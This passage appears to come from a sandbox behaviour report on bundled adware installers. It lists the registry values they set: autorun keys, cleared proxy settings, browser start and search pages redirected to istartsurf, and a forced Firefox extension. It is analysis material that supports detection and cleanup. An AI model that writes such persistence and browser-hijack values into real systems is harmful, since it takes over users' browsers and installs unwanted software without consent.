"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 48 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "biclient.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "51 0D E1 D1 23 77 D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
"grooveload" = ""

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:1172 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "51 0D E1 D1 23 77 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4A 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "13 85 E2 D4 23 77 D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
"grooveload" = ""

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process GLBCD0E.tmp:3452 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Goobzo\YouTube Accelerator]
"InstallTime" = "1429064905"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"ShowAds" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"(Default)" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Aff" = "smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowAds" = "1"

[HKCU\Software\Goobzo\Language\YouTubeAccelerator\Settings]
"CurrentLanguage" = "1033"

[HKCU\Software\Goobzo\YouTube Accelerator]
"DontShowAccelerationNotSupported" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Publisher" = "Goobzo Ltd."

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\Windows\system32]
"AniGIF.ocx" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"ZippedRules" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"URLInfoAbout" = "http://www.youtubeaccelerator.com/support/"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"InstallTime" = "1429064905"
"DllInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayIcon" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe,-0"
"InstallLocation" = "%Program Files% (x86)\YouTube Accelerator"

[HKCU\Software\Goobzo\YouTube Accelerator]
"HideAccList" = "0"
"ShowTrayIcon" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"HelpLink" = "http://www.youtubeaccelerator.com/about/"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BuildNumber" = "102"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"UninstallString" = "%Program Files% (x86)\YouTube Accelerator\YTAUninstall.exe"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Version" = "3.3.9.6"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Contact" = "[email protected]"
"DisplayVersion" = "3396(build_102)"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayName" = "YouTube Accelerator"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"(Default)" = ""

[HKCU\Software\Goobzo\YouTube Accelerator]
"Aff" = "smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Version" = "3.3.9.6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs\YouTube Accelerator]
"Order" = "E0 80 00 00 00 20 00 00 0D C0 10 00 00 10 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Associations]
"Application" = "http://www.fileextensionpro.com/redir.aspx?s=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&LangID=x&Ext=%s"

[HKCU\Software\Goobzo\YouTube Accelerator]
"RunFinishInstall" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"tver"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Br"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"BrName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"HideAccList"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]
"Mode"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BrName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Br"
"ShowTrayIcon"

The Application disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"YouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]
"VARemove"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

The process QQBrowser.exe:3592 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process QQBrowser.exe:3476 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Mozilla\Extends]
"AppID" = "[email protected]"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Search Page" = "http://www.istartsurf.com/web/?type=ds&ts=1429064927&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.istartsurf.com/web/?type=ds&ts=1429064927&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"Publisher" = "istartsurf縀ʭ…"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Search_URL" = "http://www.istartsurf.com/web/?type=ds&ts=1429064927&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Clients\StartMenuInternet\FIREFOX.EXE\shell\open\command]
"(Default)" = "%Program Files% (x86)\Mozilla Firefox\firefox.exe http://www.istartsurf.com/?type=sc&ts=1429064927&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"DisplayIcon" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"DisplayName" = "istartsurf"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.istartsurf.com/web/?type=ds&ts=1429064927&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\istartsurfSoftware\istartsurfhp]
"oem" = "smt"
"Time" = "Type: REG_QWORD, Length: 8"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Start Page" = "http://www.istartsurf.com/?type=hp&ts=1429064927&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Search_URL" = "http://www.istartsurf.com/web/?type=ds&ts=1429064927&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Page_URL" = "http://www.istartsurf.com/?type=hp&ts=1429064927&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Clients\StartMenuInternet\VMWAREHOSTOPEN.EXE\shell\open\command]
"(Default)" = "%Program Files%\VMware\VMware Tools\VMwareHostOpen.exe http://www.istartsurf.com/?type=sc&ts=1429064927&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\shell\open\command]
"(Default)" = "%Program Files% (x86)\Google\Chrome\Application\chrome.exe http://www.istartsurf.com/?type=sc&ts=1429064927&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe http://www.istartsurf.com/?type=sc&ts=1429064927&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@""%windir%\System32]
"ie4uinit.exe"",-738" = "Start Internet Explorer without ActiveX controls or browser extensions."

[HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing]
"NewTabPageShow" = "1"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.istartsurf.com/?type=hp&ts=1429064927&from=smt&uid=267123711_198339_B48A115F"
"Search Page" = "http://www.istartsurf.com/web/?type=ds&ts=1429064927&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Default_Page_URL" = "http://www.istartsurf.com/?type=hp&ts=1429064927&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Mozilla\Extends]
"UID" = "267123711_198339_B48A115F"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.istartsurf.com/web/?type=ds&ts=1429064927&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"
"DisplayName" = "istartsurf"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.istartsurf.com/?type=hp&ts=1429064927&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Mozilla\Extends]
"ptid" = "smt"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Page_URL" = "http://www.istartsurf.com/?type=hp&ts=1429064927&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@""%systemroot%\system32\windowspowershell\v1.0]
"powershell.exe"",-111" = "Performs object-based (command-line) functions"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"DisplayName" = "istartsurf uninstall"

[HKLM\SOFTWARE\Wow6432Node\Mozilla\Firefox\Extensions]
"[email protected]" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"UninstallString" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe -ptid=smt"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"DisplayName" = "istartsurf"

The process testlsp.exe:1888 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "5B 3E 93 0F EF 81 A6 A0 7B 07 B5 B9 3A B1 48 A1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "14 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "6D 24 3F EC 23 77 D0 01"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1429064931"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

"TimeLimit" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "75 14 DD B8 3C 17 1F CD 22 18 2A 64 22 18 AF B6"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 5A 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"
"TimeStamp" = "1429064931"
"TimeLimit" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process powershell.exe:3320 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:3284 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:3404 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

The process setup.exe:3836 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyB730.tmp\DCytaiesmt_smtyc_setup.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyB730.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFF85.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFF85.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFF85.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd771.tmp\AccDownload.dll,"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ShopperPro]
"UninstallString" = "%Program Files% (x86)\ShopperPro\SPremove.exe"
"DisplayName" = "Shopper-Pro"
"DisplayIcon" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\ShopperPro.exe]
"(Default)" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process Wrgdrartol.exe:3264 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\AppDataLow\Software\Crossrider]
"Bic" = "f1455de99fbc9c9080e7ed2fd747836eIE"

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\App Lid\Installer]
"BundledFirefox" = "1"

[HKCU\Software\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"Publisher" = "Lid"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Verifier" = "b2eb32d323f5359842a735827d51a4f5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "9D 00 1A FC 23 77 D0 01"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"DisplayName" = "App Lid"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "7E 4E AF EF 23 77 D0 01"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"UninstallString" = "%Program Files% (x86)\App Lid\Uninstall.exe /fcp=1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"CrPublisherId" = "25286"

[HKCU\Software\AppDataLow\Software\Crossrider]
"Verifier" = "b2eb32d323f5359842a735827d51a4f5"

[HKCU\Software\InstalledBrowserExtensions\25286]
"65743" = "App Lid"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\25286]
"65743" = "App Lid"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"DisplayVersion" = "1.36.01.22"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Bic" = "f1455de99fbc9c9080e7ed2fd747836eIE"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 60 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"CrAppId" = "65743"
"DisplayIcon" = "%Program Files% (x86)\App Lid\utils.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\InstalledBrowserExtensions\Lid]
"65743" = "App Lid"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\InstalledBrowserExtensions\25286]
"65743" = "App Lid"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
